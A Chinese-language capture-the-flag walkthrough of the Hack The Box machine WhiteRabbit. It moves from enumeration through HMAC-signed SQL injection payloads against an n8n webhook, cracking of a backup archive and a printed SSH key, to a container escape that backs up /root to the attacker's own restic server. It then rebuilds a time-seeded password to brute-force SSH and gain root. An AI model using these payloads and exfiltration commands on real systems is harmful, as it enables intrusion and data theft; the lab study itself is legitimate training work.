目标信息
IP地址:
10.10.11.63
信息收集
ICMP检测
PING 10.10.11.63 (10.10.11.63) 56(84) bytes of data.
64 bytes from 10.10.11.63: icmp_seq=1 ttl=63 time=473 ms
64 bytes from 10.10.11.63: icmp_seq=2 ttl=63 time=394 ms
64 bytes from 10.10.11.63: icmp_seq=3 ttl=63 time=519 ms
64 bytes from 10.10.11.63: icmp_seq=4 ttl=63 time=439 ms
--- 10.10.11.63 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 393.766/456.264/519.014/45.857 ms
攻击机和靶机间网络连接良好。
防火墙检测
# Nmap 7.95 scan initiated Sun Apr 6 08:15:41 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.63
Nmap scan report for 10.10.11.63
Host is up (0.32s latency).
All 65535 scanned ports on 10.10.11.63 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun Apr 6 08:16:26 2025 -- 1 IP address (1 host up) scanned in 45.54 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun Apr 6 08:19:36 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.10.11.63
Warning: 10.10.11.63 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.63
Host is up (0.31s latency).
Not shown: 65492 closed tcp ports (conn-refused), 40 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_ 256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp open http Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
2222/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_ 256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 316.31 ms 10.10.14.1
2 316.44 ms 10.10.11.63
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 6 08:20:40 2025 -- 1 IP address (1 host up) scanned in 64.49 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Apr 6 08:22:35 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.63
Warning: 10.10.11.63 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.63
Host is up (0.30s latency).
All 65535 scanned ports on 10.10.11.63 are in ignored states.
Not shown: 65294 open|filtered udp ports (no-response), 241 closed udp ports (port-unreach)
# Nmap done at Sun Apr 6 08:26:37 2025 -- 1 IP address (1 host up) scanned in 241.98 seconds
UDP
端口详细信息扫描结果
(无)
发现靶机Web
服务主域名为whiterabbit.htb
,操作系统为Ubuntu Linux
,同时存在22/ssh
和2222/ssh
两个SSH
服务,认为靶机很有可能存在Docker
或LXC
容器。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/whiterabbit/nmap_reports]
└─# nc -nv 10.10.11.63 22
(UNKNOWN) [10.10.11.63] 22 (ssh) open
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.9
SSH服务(2222端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/whiterabbit/nmap_reports]
└─# nc -nv 10.10.11.63 2222
(UNKNOWN) [10.10.11.63] 2222 (?) open
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Web应用程序(80端口)
子域名探测
在开始对Web
站点页面和目录的探测前,首先使用wfuzz
配合字典subdomains-top1million-110000.txt
进行子域名爆破探测:
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 10.10.11.63 -H "Host: FUZZ.whiterabbit.htb" -t 60 --hh 0 --hc 400
成功发现子域名:status
!
主站
打开网址:http://whiterabbit.htb
该站点貌似为一家网络安全服务公司的静态介绍页面,页面上提示称该公司内部正在测试使用n8n
自动化工作流管理工具,除此之外没有发现其它信息。
尝试进行目录扫描,除index.html
外未发现其它目录和网页。
status旁站
打开网址:http://status.whiterabbit.htb/
发现靶机部署了Uptime Kuma
网站状态监控系统。
尝试联网搜索该系统漏洞,发现几乎全部漏洞均需要登录后利用,少部分未授权漏洞利用失败。
尝试扫描目录:
# Dirsearch started Sun Apr 6 10:25:39 2025 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://status.whiterabbit.htb -x 400,403,404 -t 60 -e js,ts,html,txt,zip,tar.gz,xml,json,pcap,yaml
301 179B http://status.whiterabbit.htb/assets -> REDIRECTS TO: /assets/
200 15KB http://status.whiterabbit.htb/favicon.ico
200 415B http://status.whiterabbit.htb/manifest.json
401 0B http://status.whiterabbit.htb/metrics
401 0B http://status.whiterabbit.htb/metrics/
200 25B http://status.whiterabbit.htb/robots.txt
301 189B http://status.whiterabbit.htb/screenshots -> REDIRECTS TO: /screenshots/
301 179B http://status.whiterabbit.htb/Upload -> REDIRECTS TO: /Upload/
301 179B http://status.whiterabbit.htb/upload -> REDIRECTS TO: /upload/
访问robots.txt
,发现文件内没有任何有效内容。/metrics
端点为需要授权的API
接口,暂时无法访问。
访问剩下的/assets
、/screenshots
和/upload
目录,发现前两个URL
返回Uptime Kuma
的404
页面,而最后/upload
目录返回的却是空白404
页面:
怀疑/upload
目录为靶机Web
服务根目录中一个真实存在的子目录,只不过访问子目录时默认的响应码403
被人为修改为了404
。尝试对该目录进行扫描,但未发现任何信息。
渗透测试
搜索Web应用源代码发现关键端点
在服务探测阶段,我们对靶机Web
服务的两个站点进行了目录扫描和漏洞搜索,但均未发现任何信息。同时我们还发现,对于Uptime Kuma
网站监测系统,如果攻击者访问一个实际上不存在的API
端点或目录,那么系统就会返回Uptime Kuma
自定义的404
页面;但如果攻击者访问的目录或端点确实存在,但目录未开启目录列表功能时,系统就会返回空白的404
页面。
对于这种情况,要想确定目标系统到底存在哪些Web API
端点,效率最快的方法就是在GitHub
上搜索目标系统源代码中的路由定义语句。一般情况下,我们可以通过route
关键词找到这些代码。
打开Uptime Kuma
的GitHub
项目界面:louislam/uptime-kuma: A fancy self-hosted monitoring tool,在搜索栏中输入repo:louislam/uptime-kuma route
并回车:
通过查阅部分源代码,我们可以发现,在Uptime Kuma
中,重定向请求到指定API
端点的Vue
方法通常为:this.$router.push
。我们可以继续在源代码中搜索该方法,以获取尽可能多的API
端点名称:repo:louislam/uptime-kuma this.$router.push
可以看到成功搜索出了多个API
端点名称。我们对其进行整理汇总,结果如下:
/status
/setup
/settings
/maintenance
直接逐个访问以上端点,发现除了访问/status
端点返回的是空白404
页面外,其它端点的访问结果全部被Uptime Kuma
渲染成了登录页面:
怀疑/status
为有效端点,且可以在未授权情况下访问。直接尝试扫描目录:
# Dirsearch started Sun Apr 6 20:21:32 2025 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://status.whiterabbit.htb/status -x 404 -t 60 -e js,yml,html,txt,zip,tar.gz,json,db,yaml,pdf,md --exclude-sizes=2KB
200 3KB http://status.whiterabbit.htb/status/temp
成功发现接口端点/status/temp
!尝试访问:
发现为Uptime Kuma
缓存的网站状态测试结果,且包含新的虚拟主机名:ddb09a8558c9.whiterabbit.htb
和a668910b5514e.whiterabbit.htb
!
直接将上述新虚拟主机名写入hosts
文件中,并进行下一步枚举探测。
查阅WiKi文档发现WebHook漏洞
我们首先访问两个新发现的虚拟主机名,掌握其基本情况。
首先打开GoPhish
网页地址:http://ddb09a8558c9.whiterabbit.htb/
确定该站点运行了GoPhish
社会工程学辅助系统。
接着访问WiKi
站点:http://a668910b5514e.whiterabbit.htb/
在左侧词条列表中发现存在GoPhish Webhooks
一项,点击查看:
发现该词条为GoPhish WebHook
的详细说明。通读全文,发现该WebHook
是基于n8n
自动化工作流工具实现的。用户首先需要发送请求到n8n
站点,再由n8n
工具根据事先定义好的工作流程序,向MySQL
数据库发送查询请求,最后把结果返回给用户。文档中记录了一个HTTP
请求示例:
POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81
{
"campaign_id": 1,
"email": "test@ex.com",
"message": "Clicked Link"
}
从请求示例中,我们可以发现n8n
站点的虚拟主机名为:28efa8f7df.whiterabbit.htb
,将其记录到hosts
文件中。
同时,我们还发现了请求头中存在x-gophish-signature
项,根据Security Mechanism: Signature Verification
小节的说明,我们可以得知该项内容为HMAC-SHA256
哈希值,用于进行身份验证。当对WebHook
进行调用时,客户端需要使用预先定义好的密钥值,通过哈希算法加密HTTP POST
的JSON
请求体内容,将其作为x-gophish-signature
请求头的值发送:
The x-gophish-signature in each request plays a crucial role in ensuring the integrity and security of the data received by n8n. This HMAC (Hash-Based Message Authentication Code) signature is generated by hashing the body of the request along with a secret key. The workflow’s verification of this signature ensures that the messages are not only intact but also are sent from an authorized source, significantly mitigating the risk of spoofed events for example SQLi attempts.
除此之外,网页还提供了一份gophish_to_phishing_score_database.json
文件,内容似乎为整个工作流的n8n
程序定义:
直接单击下载该文件,打开查看:
在第337 - 362
行处,发现该工作流疑似存在SQL
注入漏洞。该工作流在接收到发送的电子邮箱名称参数$json.body.email
后,会在数据库记录中查询该电子邮箱,而n8n
工作流程序似乎未对请求中的引号字符进行转义,就直接进行了SELECT
查询操作:
{
"parameters": {
"operation": "executeQuery",
"query": "SELECT * FROM victims where email = "{{ $json.body.email }}" LIMIT 1",
"options": {}
},
"id": "5929bf85-d38b-4fdd-ae76-f0a61e2cef55",
"name": "Get current phishing score",
"type": "n8n-nodes-base.mySql",
"typeVersion": 2.4,
"position": [
1380,
260
],
"alwaysOutputData": true,
"retryOnFail": false,
"executeOnce": false,
"notesInFlow": false,
"credentials": {
"mySql": {
"id": "qEqs6Hx9HRmSTg5v",
"name": "mariadb - phishing"
}
},
"onError": "continueErrorOutput"
}
除此之外,还在第275 - 291
行处发现了用于加密生成x-gophish-signature
值的HMAC-SHA256
密钥:
{
"parameters": {
"action": "hmac",
"type": "SHA256",
"value": "={{ JSON.stringify($json.body) }}",
"dataPropertyName": "calculated_signature",
"secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
},
"id": "e406828a-0d97-44b8-8798-6d066c4a4159",
"name": "Calculate the signature",
"type": "n8n-nodes-base.crypto",
"typeVersion": 1,
"position": [
860,
340
]
}
密钥为:3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS
。
SQL注入攻击n8n工作流程序
根据上述收集到的信息,我们可以直接对n8n
工作流进行SQL
注入攻击。首先,我们打开http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d
网址,随后使用BurpSuite
拦截浏览器网络请求,将请求内容替换为WiKi
文档中的WebHook
请求示例,发送确认该工作流是否可用:
确认该工作流可用!
接下来构造SQLi
漏洞测试请求,并根据密钥生成其HMAC-SHA256
哈希值,修改x-gophish-signature
头发送。(可通过在线工具进行哈希生成:在线HMAC计算工具)注意JSON
中每个键或值之间不能存在空格:
{"campaign_id":1,"email":"misaka19008@test.com\"","message":"Clicked Link"}
成功发现SQL
注入漏洞!接下来我们可以使用floor()
函数进行报错注入,获取当前数据库版本、当前用户名和库名:
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(==>)',(select concat_ws(0x20,version(),user(),database()))) as x from information_schema.schemata group by x-- -","message":"Clicked Link"}
发现当前数据库为phishing
。查看数据库中的所有表:
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select count(distinct table_schema) from information_schema.tables)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select distinct table_schema from information_schema.tables limit 0,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select distinct table_schema from information_schema.tables limit 1,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select distinct table_schema from information_schema.tables limit 2,1)),1)-- -","message":"Clicked Link"}
根据结果,发现存在3
个数据库:information_schema
、phishing
和temp
。现在尝试查看temp
数据库内的表:
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.tables where table_schema='temp')),1)-- -","message":"Clicked Link"}
成功发现表temp.command_log
!现在查看其字段名:
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema='temp' and table_name='command_log')),1)-- -","message":"Clicked Link"}
发现该表含有id
、date
、command
三个字段。查询表内存在多少行记录:
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select count(*) from temp.command_log)),1)-- -","message":"Clicked Link"}
发现该表内存在6
行记录。现在转为使用floor()
函数进行报错注入,获取表内每一行date
和command
字段内容:
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(>)',(select concat_ws(' ',date,unix_timestamp(date),command) from temp.command_log limit 0,1)) x from information_schema.schemata group by x-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(>)',(select concat_ws(' ',date,unix_timestamp(date),command) from temp.command_log limit 1,1)) x from information_schema.schemata group by x-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,1,30) from temp.command_log limit 1,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,31,60) from temp.command_log limit 1,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(>)',(select concat_ws(' ',date,unix_timestamp(date),command) from temp.command_log limit 2,1)) x from information_schema.schemata group by x-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,1,30) from temp.command_log limit 2,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,31,60) from temp.command_log limit 2,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(>)',(select concat_ws(' ',date,unix_timestamp(date),command) from temp.command_log limit 3,1)) x from information_schema.schemata group by x-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(>)',(select concat_ws(' ',date,unix_timestamp(date),command) from temp.command_log limit 4,1)) x from information_schema.schemata group by x-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" union select count(*),concat(floor(rand(0)*2),'(>)',(select concat_ws(' ',date,unix_timestamp(date),command) from temp.command_log limit 5,1)) x from information_schema.schemata group by x-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,1,30) from temp.command_log limit 5,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,31,60) from temp.command_log limit 5,1)),1)-- -","message":"Clicked Link"}
{"campaign_id":1,"email":"misaka19008@test.com\" and updatexml(1,concat(0x7e,(select substring(command,61,90) from temp.command_log limit 5,1)),1)-- -","message":"Clicked Link"}
成功获取了如下命令执行记录及其时间戳:
时间 | 时间戳 | 命令内容 | |
---|---|---|---|
2024-08-30 10:44:01 | 1725014641 | uname -a | |
2024-08-30 11:58:05 | 1725019085 | restic init --repo rest:http://75951e6ff.whiterabbit.htb | |
2024-08-30 11:58:36 | 1725019116 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd | |
2024-08-30 11:59:02 | 1725019142 | rm -rf .bash_history | |
2024-08-30 11:59:47 | 1725019187 | #thatwasclose | |
2024-08-30 14:40:42 | 1725028842 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
阅读命令执行记录,发现靶机系统管理员执行了restic
命令,并创建了.restic_passwd
文件,以及靶机Web
服务存在虚拟主机名75951e6ff.whiterabbit.htb
。通过联网查询,发现restic
是一个跨平台数据备份工具:
查阅restic
工具文档:Restoring from backup — restic 0.18.0 documentation,发现我们可以使用如下命令恢复并下载靶机管理员缓存在Restic Web
服务器上的最新数据备份:
restic -r rest:http://75951e6ff.whiterabbit.htb restore latest --target ./restic_bak
直接执行该命令,随后输入保存在数据库中的备份密码:ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
:
成功下载备份文件bob.7z
!查看该文件,发现为加密压缩包,直接进行密码哈希爆破:
7z2john bob.7z > bob_7z_hash.txt
john bob_7z_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
成功破解压缩包密码:1q2w3e4r5t6y
!
直接提取压缩包文件bob
,发现为SSH
私钥:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----
随后尝试使用用户名bob
连接靶机2222
端口的SSH
服务:
ssh -i bob_ssh_key bob@10.10.11.63 -p 2222
登录成功!!
权限提升
Docker容器逃逸
登录SSH
后,使用ls
命令查看系统根目录,发现存在.dockerenv
文件,判断当前位于靶机Docker
容器内:
尝试使用sudo -l
命令查看当前用户sudo
权限:
发现当前用户bob
可免密以任意用户身份运行/usr/bin/restic
多平台备份工具。
阅读restic
工具说明文档:Preparing a new repository — restic 0.18.0 documentation,发现我们可以使用rest-server
工具在攻击机上架设一个Restic Web
备份服务。利用这种方法,我们可以使用靶机的restic
工具连接到攻击机恶意的Restic Web
服务,创建一个备份分支,并上传任意路径的数据,例如/root
目录。
首先,我们需要下载rest-server
程序:Release v0.13.0 · restic/rest-server,并在本地80
端口架设备份服务:
./rest-server --path ./rest_server_data --no-auth --listen 10.10.14.2:80
服务架设完毕后,以sudo
权限执行靶机的restic
命令,在攻击机的Restic Web
服务上创建备份分支,并执行备份/root
目录到远程服务的命令:
sudo restic init --repo rest:http://10.10.14.2/
sudo restic backup -r rest:http://10.10.14.2/ /root
备份容器/root
目录成功!接下来需要使用攻击机restic
工具从本地Restic Web
服务下载备份的数据:
restic restore -r rest:http://10.10.14.2/ latest --target ./restic_bak
数据下载成功!发现/root
目录下存在名为morpheus
的SSH
私钥文件:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS/TfMMhsru2K1PsCWvpv3v3Ulz5cBP
UtRd9VW3U6sl0GWb0c9HR5rBMomfZgDSOtnpgv5sdTxGyidz8TqOxb0eAAAAqOeHErTnhx
K0AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9N8wyGyu7YrU+w
Ja+m/e/dSXPlwE9S1F31VbdTqyXQZZvRz0dHmsEyiZ9mANI62emC/mx1PEbKJ3PxOo7FvR
4AAAAhAIUBairunTn6HZU/tHq+7dUjb5nqBF6dz5OOrLnwDaTfAAAADWZseEBibGFja2xp
c3QBAg==
-----END OPENSSH PRIVATE KEY-----
推测morpheus
为当前容器宿主机的用户名,直接使用该私钥连接靶机22
端口的SSH
服务:
ssh -i morpheus_ssh_key morpheus@10.10.11.63
容器逃逸成功!!
逆向分析密码设置程序还原密码
登录morpheus
用户后,执行目录信息收集,在/opt/neo-password-generator
目录下发现了neo-password-generator
程序:
结合前面在数据库内获取的命令执行记录,推断该程序为重大提权突破口。直接使用scp
命令下载该程序,打开IDA Pro
,加载程序后双击main
函数,按F5
键进行逆向分析:
scp -P 22222 /opt/neo-password-generator/neo-password-generator megumin@10.10.14.2:/home/megumin/Desktop/neo-password-generator
该程序经过变量重命名的代码如下:
// .rodata:0000000000002008 aAbcdefghijklmn db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789',0
unsigned __int64 __fastcall generate_password(unsigned int current_time_bysecond_struct)
{
int i; // [rsp+14h] [rbp-2Ch]
char password_string[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
srand(current_time_bysecond_struct);
for ( i = 0; i <= 19; ++i )
password_string[i] = aAbcdefghijklmn[rand() % 62];
password_string[20] = 0;
puts(password_string);
return v4 - __readfsqword(0x28u);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
struct timeval current_time_bysecond; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
gettimeofday(¤t_time_bysecond, 0LL);
generate_password(1000 * LODWORD(current_time_bysecond.tv_sec) + current_time_bysecond.tv_usec / 1000);
return 0;
}
(注:char
数组aAbcdefghijklmn
的内容并未在代码中明文定义,而是在程序汇编代码的数据区被定义的)
通过阅读以上代码,我们可以分析出该程序生成密码的逻辑:
- 程序启动时,首先初始化一个
timeval
结构。根据联网查询,该结构用于存储系统时间信息。结构内存在tv.sec
和tv.usec
两个变量,tv.sec
存放的是时间戳,精度为秒,变量类型为time_t
;而tv.usec
存放的是某个时刻的微秒值,最大位数为6
位整数,变量类型为普通整数int
。 - 初始化变量结束后,程序执行了
gettimeofday()
方法,将当前时刻的时间戳和微秒值信息写入了timeval
结构。接着程序就调用了generate_password
函数,参数为:tv_sec
时间戳值乘以1000
的结果加上tv.usec
微秒值除以1000
的结果。 generate_password()
方法首先会初始化整数循环变量i
和字符串数组password_string[24]
,接着使用srand()
方法,根据传入参数设置随机数种子;随后使用rand()
生成随机数并和62
取余,将结果作为aAbcdefghijklmn
数组的索引值,把数组内对应的字符地址赋值给password_string
数组的对应位置,该操作将循环20
次,循环结束后,将结尾的password_string[20]
设置为NULL
,结束字符串并打印到终端上。
根据从MySQL
数据库中获取的命令执行记录,可以确定系统管理员执行密码修改命令时的时间戳值tv_sec
值为1725028842
,但该时间戳只有10
位,精度只为秒,并未包含以微秒为单位的时间信息。对于这种情况,我们可以尝试编写C
程序,以1
毫秒(1000
微秒)为一个循环单位,设置tv_usec
的值,并根据程序逻辑生成密码字典。POC
程序源代码如下:
#include<time.h>
#include<stdio.h>
#include<stdlib.h>
void generate_password(unsigned int modified_timestamp) {
char password_string[24];
char aAbcdefghijklmn[62] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
srand(modified_timestamp);
for (int i = 0; i <= 19; ++i)
password_string[i] = aAbcdefghijklmn[rand() % 62];
password_string[20] = '\0';
puts(password_string);
}
int main() {
int tv_usec;
int tv_sec = 1725028842;
for (int i = 0; i < 1000000; i = i + 1000) {
tv_usec = i;
generate_password(tv_sec * 1000 + tv_usec / 1000);
}
return 0;
}
使用gcc
编译以上代码,赋予执行权限后,执行程序,将输出重定向至sys_pass.lst
文件:
gcc generate_pass.c -o generate_pass.elf
chmod +x generate_pass.elf
./generate_pass.elf > sys_pass.lst
生成完毕后,使用hydra
工具爆破neo
用户密码:
hydra -l neo -P sys_pass.lst -t 60 -f ssh://10.10.11.63
成功发现用户凭据:
- 用户名:
neo
- 密码:
WBSxhWgfnMiclrV4dqfj
直接登录SSH
:
成功!
利用任意sudo权限切换root用户
登录neo
用户后,使用sudo -l
命令查看当前用户sudo
权限:
发现当前用户可以通过sudo
,以任意用户身份执行任意命令。直接切换至root
即可:
sudo su -
提权成功!!!!